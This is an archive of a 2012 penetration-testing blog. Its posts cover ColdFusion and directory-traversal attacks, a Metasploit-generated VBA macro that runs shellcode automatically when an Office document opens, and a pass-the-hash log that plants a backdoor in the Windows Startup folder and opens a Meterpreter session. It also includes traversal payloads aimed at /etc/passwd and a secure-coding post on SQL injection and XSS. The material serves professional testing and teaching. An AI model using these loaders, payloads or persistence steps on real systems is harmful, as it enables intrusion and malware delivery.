Monday, April 23, 2012

From LOW to PWNED [2] ColdFusion


Several (tm) months back I did my talk on "From LOW to PWNED" at hashdays and BSides Atlanta.

The slides were published here and the video from hashdays is here, no video for BSides ATL.

I consistently violate presentation zen and I try to make my slides usable after the talk but I decided to do a few blog posts covering the topics I put in the talk anyway.

Post [2] ColdFusion

Whhhhaaaat? ColdFusion?
  • Originally released in 1995 by Allaire
  • Motivation: make it easier to connect simple HTML pages to a database
  • Along the way became full Java
  • Latest version is ColdFusion 9 released in 2009
  • Most recent features focus on integration with other technologies, e.g. Flash, Flex, AIR, Exchange, MS Office, etc.
  • Frequent to see CF 7 - 9 on the web
  • Open Source CFML avalable as well
  • BlueDragon, Railo, Mura CMS
Background Reading:

http://carnal0wnage.attackresearch.com/2011/12/not-0wning-that-coldfusion-server-but.html
http://averagesecurityguy.info/2011/12/09/owning-a-coldfusion-server/
https://media.blackhat.com/bh-us-10/presentations/Eng_Creighton/BlackHat-USA-2010-Eng-Creighton-Deconstructing-ColdFusion-slides.pdf
https://media.blackhat.com/bh-us-10/whitepapers/Eng_Creighton/BlackHat-USA-2010-Eng-Creighton-Deconstructing-ColdFusion-wp.pdf
http://www.orkspace.net/secdocs/Conferences/EuSecWest/2006/ColdFusion%20Security.pdf

LOW?


Two nice bugs exist that I don't think vuln scanners commonly check for


Locale traversal CVE: 2010-2861
coldfusion_locale_traversal.rb

great overview/walkthru here: http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/
Vulnerable Versions:
ColdFusion MX6 6.1 base patches
ColdFusion MX7 7,0,0,91690 base patches
ColdFusion MX8 8,0,1,195765 base patches
ColdFusion MX8 8,0,1,195765 with Hotfix4
ColdFusion 9?  Immunity reported yes, but Adobe fixed downloadable version of 9. so maaaaaaybe if old version of 9.

*no patches exist for 6 & 7 so if you see CF6 or CF7 its always vuln to the bug*



There's lots more to the ColdFusion story, enough that I recently gave a talk on it.

Friday, April 20, 2012

From LOW to PWNED [1] Exposed Services and Admin Interfaces


Several (tm) months back I did my talk on "From LOW to PWNED" at hashdays and BSides Atlanta.

The slides were published here and the video from hashdays is here, no video for BSides ATL.

I consistently violate presentation zen and I try to make my slides usable after the talk but I decided to do a few blog posts covering the topics I put in the talk anyway.

Post [1] Exposed Services and Admin Interfaces

Exposed Services:

An example of exposed services and making sure you check for default and common passwords. so first example is a VNC server with  no password. This gives us a HIGH severity finding

 The following is a VNC server with a password of "password"

see the problem? Same thing goes for SSH, Telnet, FTP, etc.  Don't forget about databases as well, MS SQL, MySQL, Oracle, Postgres listening out to the Internet at large.



Admin Interfaces:

Admin interfaces can be gold. the problem is 1) you have to find them on the random ass port they are running on and 2) you have to get eyes on them. this can be a hassle/problem/hard to do.

So to bring the "low" to it.  some random HTTP server gets you this in Nessus

Now, to be fair this could be totally accurate, but the point is you need to look at what is being served on this HTTP server, could be something could be nothing, no way to know unless you look.  Finding useful HTTP pages on all the random ports can be challenging.

Here is a possible methodology for doing it:


  1. Nmap your range
  2. Import your nmap results into metasploit
  3. Use the db_ searches to pull out a list of hosts & ports
  4. With the magic of scripting languages make that list into an html page(s)
  5. Use linky to open all those links
Kinda goes like this:

after you have imported your nmap results, uses the services option.

If its populated you'll get a list or results like the below

Output that stuff to a CSV

msf > services -o /tmp/demo.csv

Take that CSV and run some ruby on it


The above code will output an html file that you can open with linky
linky will open each link in a new tab allowing you a way to get eyes on each of those random HTTP(S) services.

You can now start intelligently trying default passwords or viewing exposed content.

Thoughts?

-CG

Thursday, April 19, 2012

From LOW to PWNED [0] Intro

Several (tm) months back I did my talk on "From LOW to PWNED" at hashdays and BSides Atlanta.

The slides were published here and the video from hashdays is here, no video for BSides ATL.

I consistently violate presentation zen and I try to make my slides usable after the talk but I decided to do a few blog posts covering the topics I put in the talk anyway.

Post [0] Intro/The point of the talk (sorry no pics of msf or courier new font in this one):

I had several points (I think...maybe all the same point...whatever)

1.  We tend to have an over reliance on vulnerability scanners to tell us everything that is vulnerable.  To be honest I have been guilty of this myself.  Most of us probably have a for a variety of reasons, time, experience, level of effort required/paid for, etc.  This over reliance on scanners has lead to a "no highs" == "secure environment".  Most of us know this is not *always* the case and the point of the talk was to show some examples were medium and low vulnerabilities have led to a further exploitation or impact that I would consider "high" or above. Whether you call them chained exploits, magic, or the natural evolution of taking multiple smaller vulnerabilities and turning them into a significant exploit or opportunity its becoming more normal/common to have to go this route.

2. Given the "no highs" == "secure environment" mentality some clients have been conditioned that anything that is not a high is not exploitable and therefore not a priority for fixing (sometimes ever).  This of course is not the outcome most people would recommend. Nevertheless some people take that approach.

3. How many IDS/IPS signatures exist for low and medium vulns and how often do we ignore/disable those? Feedback welcome here.

4. Clients should pay attention to low/medium vulns as much as they do high+ vulns and in turn pentesters/VA people/security teams should also pay attention to low/medium vulns. Does that mean ever SSLv2 enabled should be full out emergency? Hell no, but *someone* needs to be able to vet that those low/medium findings cant be turned into something more.

5. Keep in a human in the mix.  Tools/scanner are great for automating tasks but I don't think we are there yet with the technology of taking multiple less severe vulnerabilities and turning them into something significant. Bottom line, the scanner wont find all your ownable stuff, you need a person(s) to do this.


Thoughts?

-CG





Wednesday, April 11, 2012

ColdFusion for Pentesters at SOURCE Boston

I'll be giving my ColdFusion for Pentesters talk at SOURCE Boston next week.

Here is the info from the abstract:

"ColdFusion is one of those technologies where organizations are either ColdFusion shops or they won't touch it on a bet. Similarly, I find that pentesters have either been exposed to it and have a few tricks to attack it or not. Aside from common web application issues, ColdFusion can also be attacked on the network level and many times used to obtain remote access on the host. This talk will cover what is ColdFusion, common ColdFusion issues, finding useful ColdFusion URLs, identifying specific ColdFusion version and components, and verifying if common vulnerabilities are present in the ColdFusion server you are targeting. If access to the ColdFusion administrative interface can be obtained, you can perform post exploitation activities that will typically yield you remote access to the operating system supporting the ColdFusion install."


Like the other talks, i'll do the what it is, why you care (?), and some ways to go after it.  Hopefully useful/interesting.

Hope to see people there.

-CG

Sunday, March 4, 2012

Update - Abusing Password Resets

In July I published an article on Abusing Password Resets. Some Ruby code was provided and it no longer works very well. Gmail has a limitation on POP3 message retrieval, long story short, you can only get around 250 emails. This is pretty annoying when you want to pull down thousands of password reset emails to analyze the plain-text passwords for entropy. So the solution is to use IMAP. 

Here is that code:


Breakdown:

Lines 1-3 - Start the script in Ruby, require the necessary libs

Lines 6, 8 - Name the class, instantiate a placeholder for file (could have been done with an instance variable as well).

Lines 10-11 - Method invoked (def initialize) when the class is started, self.lfile is the location of the file we will store our emails in.

Line 13, 18, 21 - Begin, Rescue, End code (mainly so we graciously handle errors)

Line 14 - Instantiate a connection string to Gmail's IMAP server, name it "imap".

Line 16-17 - Provide creds and invoke the check_for_emails method

Lines 24, 33 - define the check_emails_method, take the imap object as input, and close "end" the method.

Lines 25-26 - Select the inbox as the folder to pilfer and then instantiate a msgs object which has the results of all messages that haven't been deleted.
'
Lines 27-32 - If "msgs" (Array) is empty, print a message saying so, otherwise print that we are grabbing emails and invoke the place_emails_into_files method with both the msgs and imap objects.

Lines 35, 44 - define the method (place_emails_into_file) and close it off.

Line 36 - Iterate thru the msgs array, creating a mid (message id) object.

Lines 37-38 - Fetch the message with the message id (mid) we have created and then chomp any extra space off the end.

Lines 39-41 - Open the emails.txt file in the inbox folder (you've hopefully created) and write the message body into it (appending, NOT overwriting).

Line 43 - Invoke the create_file_with_tokens method.

Lines 46, 56 - define the create_file_with_tokens method and then close it.

Lines 47-49 - Create a new file which will contain the string you are trying to extract (the password) and then open the 'inbox/emails.txt' file for reading. Finally, on line 49 start iterating thru each line of the read_file ('inbox/emails.txt').

Lines 50-51 - Match the string you are looking for, if the m object (result of the match) is of a MatchData type, then put that string (password) into the "tokens.txt" or new_file, file.

Lines 53-55 - Close both files and print that we are done.

This should be able to run in Ruby versions 1.8.7 and greater. Ensure that you put your username and password in place of the ones I've entered on line 16.

cktricky

Friday, February 17, 2012

Hunting & Exploiting Directory Traversal

In cktricky's last post he provided a great outline on the ins and outs of leveraging burp's built in support for directory traversal testing.  There are two questions, however, that should immediately come to mind once you are familiar with this tool:  How do I find directory traversal & what should I look for if I do?

Finding directory traversal is the hunt for dynamic file retrieval or modification.  The antonym, static file retrieval, is when the browser is delegated the request for a file on the server.  In other words, every <a href>, css call for a file/location, and even most JavaScript calls can be considered static.  You could copy the path of those requests into the browser address bar and grab the file yourself-- because that is pretty much what the browser is doing for you.  Dynamic file retrieval, however, is when you request a server based page/function which serves you a file.  Think of it as the difference between calling someone directly on the phone vs. calling an operator who calls that person and patches you in.

Dynamic file serving takes place for a variety of reasons, such as: user content download locations, dynamic image rendering/resizing features, template engines, language parameters*, AJAX to services type calls, sometimes in cookies, and occasionally are how pages themselves get served.  These all basically look something like:

    somefunction.php?img=/some/place/graphic.jpg 

    or 

    somefunction.php?page=/view/something 

The path to the file can either be relative (../../../etc) or in some more rare cases absolute (c:/windows/boot.ini).  Additionally, these requests might be base64 or ROT13 encoded or sometimes encrypted.  Neither is a stop get.

You might think language parameters are an odd location for directory traversal, but after talking with my co-workers*, they reminded be about dynamic file modification.  Some frameworks use parameters (such as language) to prefix a directory to the request or alter the file name for the appropriate language.  Ergo:

    cookie: language=en-us;

    could turn into:

    File.Open('/' + language '/' + some-file);
  File.Open('/' + language + '.' + some-file);


If that is true, you can alter the root of a request, then use terminators to kill off the rest of what gets appended (null chars ftw) such as:

    cookie: language=../../../../../etc/passwd
  cookie: language=../../../../../etc/passwd;

Language, template/skin name, or occasionally environment type variables (such as location=PROD, DEBUG, etc...).  Anything that might be prefixed to a file name or directory to search is fair-game for that.

Now what?

Once you've identified a location which appears to be ripe for the testing-- how do you verify and what would you do?  To verify, I have found two approaches that work well: default files & known files.

The first approach is based on looking for default files on the file system.  Since you are mostly blind to what exists on a server, you look for the existence of these defaults to see if they can be retrieved.  There are two resources which I've found helpful.  The first is Mubix's list of post-exploitation commands.  In addition to a helpful list of commands for post exploit, the list includes very common files you might want to look for and steal (by operating system).  The second resource is the Apache Default layout per OS.  This can be really useful if you are attacking a system using Apache, to grab known configurations.  For non-Apache web servers, I usually install them locally and see what the default layout looks like manually.

The second approach comes into play if the first fails (and it might) because the user-context of the site doesn't have the authority to access those files.  So you have to request files you can be reasonably sure it has access to-- the webpages it already serves.  In this approach you attempt to serve other parts of the webpage, relative to the location you are currently looking at.  As a contrived example, say you see a layout something like:

    /mainpage.asp
  /vulnerableFeature.asp?path=/images/some-image.jpg

you'd test for:

    /vulnerableFeature.asp?path=../mainpage.asp
  /vulnerableFeature.asp?path=/mainpage.asp

Since you know that the user-context of the site has the authority to serve those pages, it -should- be a fairly practical way to verify if your directory traversal is working.  You may even get back source code this way. :-)

If you are attempting to take over the server, you should be looking to steal resources which would help you with that (such as the passwd & sam files).  If you are attempting to do an involuntary code review, you should steal the source code from the pages you are looking at.  There are occasionally hard coded credentials source, but application configuration files are often gold for credentials.  I've found database, admin users, SMTP credentials and FTP users this way.

Some final things to consider:
  • Most operating systems support the use of environment variables/shortcuts for locations such as %home% or ~.  This is useful to remember if there are protections against using a period or two successive periods.
  • When dynamic features serve files, they often violate other protections.  In IIS for instance various extensions cannot be served by the server (.config files for instance).  However in most directory traversals you can pull the web.config file out w/o many problems.
  • User controlled uploads often get served dynamically because there isn't a way for the server to know before-hand what the files are.  You can sometimes find directory traversal here by uploading files with weird path's in their names (or renaming them after upload). 
  • Developers sometimes leave clues to file's physical locations in comments.  I once downloaded a source for an entire site because of this. 
  • Image / gallery plugins for CMS's are notorious for directory traversal.
  • Error messages are your friend here.  If you get a system/application error instead of a file not found type error, you can at least use the mechanism to check for existence of files.
Happy Hunting.

-kuzushi 


* Thanks DC & AJ

   

Sunday, February 5, 2012

Easy Directory Traversal with Burp

Often, I'll use Burp Suite's directory traversal Intruder payload list. A step exists that must be performed in order to effectively leverage the traversal payload. We'll briefly cover this.


Intruder with the insertion point (fuzzing the file parameter)


Burp's fuzzing-path traversal payload, available under the preset list payload set, has a placeholder that represents the filename you'd like to fuzz for. This placeholder "{FILE} ", must be substituted with an actual filename (ex: /etc/passwd).

Payload processing rule added, match replace, regular expression form \{FILE\}
As you can see, the additional step was adding a payload processing rule. We chose match/replace, escaped characters that represent regular expressions (curly braces {}) by placing a backslash in front of them and replaced them with etc/passwd.

Lastly, don't forget to select/deselect the URL-encoding of characters based on your needs.

HTH,

cktricky

Friday, February 3, 2012

Direct Shellcode Execution via MS Office Macros with Metasploit

scriptjunkie recently had a post on Direct shellcode execution in MS Office macros I didnt see it go into the metasploit trunk, but its there.  How to generate macro code is in the post but i'll repost it here so i dont have to go looking for it elsewhere later. He even has a sample to start with so you can see how it works.  Just enable the Developer tab, then hit up the Visual Basic button to change code around.

msf > use payload/windows/exec
msf  payload(exec) > set CMD calc
CMD => calc
msf  payload(exec) > set EXITFUNC thread
EXITFUNC => thread
msf  payload(exec) > generate -t vba
#If Vba7 Then
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As LongPtr, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As LongPtr, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As LongPtr
#Else
Private Declare Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As Long, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As Long, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As Long
#EndIf

Sub Auto_Open()
        Dim Wyzayxya As Long, Hyeyhafxp As Variant, Lezhtplzi As Long, Zolde As Long
#If Vba7 Then
        Dim  Xlbufvetp As LongPtr
#Else
        Dim  Xlbufvetp As Long
#EndIf
        Hyeyhafxp = Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20, _
139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207, _
13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192, _
116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1, _
214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125, _
36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4, _
139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18, _
235,134,93,106,1,141,133,185,0,0,0,80,104,49,139,111,135,255,213,187, _
224,29,42,10,104,166,149,189,157,255,213,60,6,124,10,128,251,224,117,5, _
187,71,19,114,111,106,0,83,255,213,99,97,108,99,0)
        Xlbufvetp = VirtualAlloc(0, UBound(Hyeyhafxp), &H1000, &H40)
        For Zolde = LBound(Hyeyhafxp) To UBound(Hyeyhafxp)
                Wyzayxya = Hyeyhafxp(Zolde)
                Lezhtplzi = RtlMoveMemory(Xlbufvetp + Zolde, Wyzayxya, 1)
        Next Zolde
        Lezhtplzi = CreateThread(0, 0, Xlbufvetp, 0, 0, 0)
End Sub
Sub AutoOpen()
        Auto_Open
End Sub
Sub Workbook_Open()
        Auto_Open
End Sub

The important thing to remember is that with this method you'll NOT be dropping a vbs or bin and you'll be running inside of excel/word/whatever so you need to make sure you set up an autorunscript or macro to migrate out of the process else you'll be losing the shell as soon as they exit the office application.

Monday, January 23, 2012

psexec fail? upload and exec instead

I ended up having to use the smb/upload_file module on a pentest.  I was able to get the local admin hashes but for some reason the psexec module wouldn't get code execution, it would act like it would work but wasn't.  So we decided to push a binary, use winexe that was modified to pass the hash to exec the binary as needed.  It went something like this... ##################################################
# add a route to the 10.x network thru session 1
##################################################

msf  exploit(handler) > route add 10.0.0.0 255.255.255.0 1
[*] Route added

#######################################################
# psexec wouldnt work. AV eating metsvc most likely...
# used smb/upload_file to place a binary on the box
######################################################
msf  exploit(handler) > use auxiliary/admin/smb/upload_file
msf auxiliary(upload_file) > info

    Name: SMB File Upload Utility
    Module: auxiliary/admin/smb/upload_file
    Version: 10394
    License: Metasploit Framework License (BSD)
    Rank: Normal

Provided by:
  hdm

Basic options:

  Name      Current Setting                               Required  Description
  ----      ---------------                               --------  -----------
  LPATH                     yes       The path of the local file to upload
  RHOST                     yes       The target address
  RPATH                     yes       The name of the remote file relative to the share
  RPORT     445             yes       Set the SMB service port
  SMBSHARE  C$             yes       The name of a writeable share on the server

Description:
  This module uploads a file to a target share and path. The only
  reason to use this module is if your existing SMB client is not able
  to support the features of the Metasploit Framework that you need,
  like pass-the-hash authentication.

msf  auxiliary(upload_file) > set SMBUser Administrator
SMBUser => Administrator
smsf  auxiliary(upload_file) > set SMBPass aad3b435b51404eeaad3b435b51404ee:9eba97a1375911112222333398c61606
SMBPass => aad3b435b51404eeaad3b435b51404ee:9eba97a1375911112222333398c61606
msf auxiliary(upload_file) > set RHOST 1.2.3.4
RHOST => 1.2.3.4
msf auxiliary(upload_file) > set LPATH /home/chris/msf3/msf_backdoor.exe
LPATH => /home/chris/msf3/msf_backdoor.exe
msf auxiliary(upload_file) > set RPATH "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\msf_backdoor.exe"
RPATH => C:\Documents and Settings\All Users\Start Menu\Programs\Startup\msf_backdoor.exe
msf auxiliary(upload_file) > run
[*] Read 13616 bytes from /home/chris/msf3/msf_backdoor.exe...
[*] Connecting to the server...
[*] Mounting the remote share \\1.2.3.4\C$'...
[*] Trying to upload Documents and Settings\All Users\Start Menu\Programs\Startup\msf_backdoor.exe...
[*] The file has been uploaded to Documents and Settings\All Users\Start Menu\Programs\Startup\msf_backdoor.exe...
[*] Auxiliary module execution completed

################################################
#Set up a portforward to talk to hosts via SMB
################################################

meterpreter > portfwd add -l 445 -p 445 -r 1.2.3.4
[*] Local TCP relay created: 0.0.0.0:445 <-> 1.2.3.4:445

#####################################################################
# Use winexe with pass the hash to get cmd shell and run the binary
#####################################################################

user@ubuntu:~/Desktop/winexe-hash$ export SMBHASH=aad3b435b51404eeaad3b435b51404ee:9eba97a1375911112222333398c61606
user@ubuntu:~/Desktop/winexe-hash$ ./winexe -U administrator //1.2.3.4 "cmd"
Password for [WORKGROUP\administrator]:
HASH PASS: Substituting user supplied NTLM HASH...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . : inside.company.com
        IP Address. . . . . . . . . . . . : 1.2.3.4
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 1.2.3.254

C:\WINDOWS\system32>
C:\Documents and Settings\All Users\Start Menu\Programs\Startup>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 0007-B088

 Directory of C:\Documents and Settings\All Users\Start Menu\Programs\Startup

01/13/2012  03:55 PM             .
01/13/2012  03:55 PM             ..
01/13/2012  03:55 PM            13,616 msf_backdoor.exe
               1 File(s)         13,616 bytes
               2 Dir(s)  241,661,345,792 bytes free

C:\Documents and Settings\All Users\Start Menu\Programs\Startup>msf_backdoor.exe
msf_backdoor.exe

C:\Documents and Settings\All Users\Start Menu\Programs\Startup>

[*] 5.5.5.5:4889 Request received for /INITM...
[*] 5.5.5.5:4889 Staging connection for target /INITM received...
[*] Patched transport at offset 486516...
[*] Patched URL at offset 486248...
[*] Patched Expiration Timeout at offset 641856...
[*] Patched Communication Timeout at offset 641860...
[*] Meterpreter session 5 opened (5.5.5.5:443 -> 6.6.6.6:4889) at Wed Jan 18 22:02:03 +0000 2012

Friday, January 13, 2012

"Sanitize Input"



When application security was still in it’s infancy, there were discussions on how to protect applications from newly discovered injection vulnerabilities. "Sanitize Input" was a popular solution that rolled off the tongue nicely and was not overly complicated to explain. It was also, a very generic solution that would (hopefully) be part of a more complete approach.

As much as "Sanitizing Input" makes sense, so does writing your code in a way which, allows you to handle failure safely. This way, when the unexpected does happen, an entire operation doesn't fall down, introduce a bug or propagate unsafe data.




Question: When does this approach fail miserably?

Answer:  When it is the only approach you have.




The OWASP Top 10 categorizes XSS and SQL Injection separately. As an attacker, you are injecting data that is handled insecurely by application code. In this way, it is really just another form of injection. On that note, let’s discuss two manifestations of injection. SQL Injection and HTML Injection (XSS). I'd like to demonstrate other ways to think about or handle data beyond just "Sanitize Input". If you take away nothing more from this article, I'd like it to be that applications are unique, there is a level of complexity to design choices and solutions and there are more options than "Sanitize Input" available.

SQL Injection: "Save your one-liners for the bar". Parametrization of database queries is a classic method for handling queries safely and in many cases more efficiently. From a security standpoint, parametrized queries help to solidify the boundaries between user data and SQL statements. It ensures that data submitted by the user will be separated from the actual database query and won’t interfere with the SQL code and ultimately the database.

Example of lazy code....

http://www.example.com/example.php?user_name=gevans

$uname = $_GET['user_name']

....and this is the classic example everyone shows, nothing new here, that illustrates a SQL Injection flaw where the data ($uname) is actually included in the SQL statement.

"SELECT user_id from users where username = $uname;"


This programming flaw has destroyed the boundary between the SQL command and user-supplied input. Because the user data is now cast as a string-- it is no longer clear to the SQL server what part was supplied by the developer and what was supplied by the user. The whole query can fall apart by appending double quotes. This is not just a vulnerability, this is bad programming. Sure, it takes one line to write the query but there is no further sanity checking here. The string is formed, sent to the server, and executed as SQL. How are parametrized queries different?

Parametrized queries separate the data from the query so that we as coders don’t miscommunicate our intentions to the database server. How does it work? The majority of the query is sent to the server MINUS the actual user submitted data. So, the query is prepared (meaning sent to the server), a response comes back with a token (minus MySQL as I understand it), and THEN, the variable is sent to the server with the token and a SQL query executes. This means the expected query and actual data that we've gathered from the user are separated prior to execution.

Lets provide a visualization

// Pass in db credentials as well as the host it is located on and the database we'd like to connect to

$conn = new PDO("mysql:host=$dbhost;dbname=$dbname",$dbuser,$dbpass);

// Prepare the statement
$sql = "SELECT user_id from users where username = ?";


//Execute the query, taking in the variable data ($uname) from the user
$q = $conn->prepare($sql);
$q->execute(array($uname));
$object = $q->fetchColumn();






As you can see, the $sql statement is prepared and the server knows exactly what it should look like. Next, the SQL statement is executed, passing in the variable value in place of the "?" (shown above). By specifying that question mark, you tell the db, this is my statement but I don't know what the value will be.....I'll give you that on the next call.



Lets examine XSS. Again, something I hear a lot is "Sanitize your input". Some people even go as far as "Whitelist" versus "Blacklist". Okay, great, that is not extensible and ultimately context matters. What do I mean? It is a very one-sided approach with a lot of assumptions. Let me draw a picture for you. The understanding, as of right now, is the data comes in one place and is potentially echoed in another. So the model looks something like this:



A typical example would be a registration form. You sign up with your First Name, Last Name, etc. Upon successful authentication to the application, you notice a little message at the top right.... 


So....."Welcome, Ken!", I wonder where that value came from? When we registered, our information was stored in the db, later extracted after login, and shown on the page. Now, we should be safe right? Even if we had attempted to place JavaScript in the First Name value upon registration, it wouldn't have mattered.....We Sanitized!!! 

Two months later, a user complains that they signed up with a misspelled username and would like the ability to change it. A new developer is assigned the task of adding the ability to edit your first and last name and does so. The new developers assumption is that we are going to safely handle that data when rendered to the user. But we aren't. We sanitized the input and didn't bother with handling the data. Our model has changed from Input/Output to......



So with one additional point of input, our model gets (very slightly) more complicated. Now imagine adding multiple points of input, multiple points of output. Now split input into data entry (processed), storage handling (stored in the db) and then do the same for output. While we are at, lets throw a web-service that consumes the data as well. It becomes very easy to see how "Sanitize Input" doesn't scale, isn't a sure-fire solution, and really oversimplifies the problem for those who are looking to either receive or give an easy answer.

In summary, please join me in the fight to stop the mindless regurgitation of old material.

Cheers,

Ken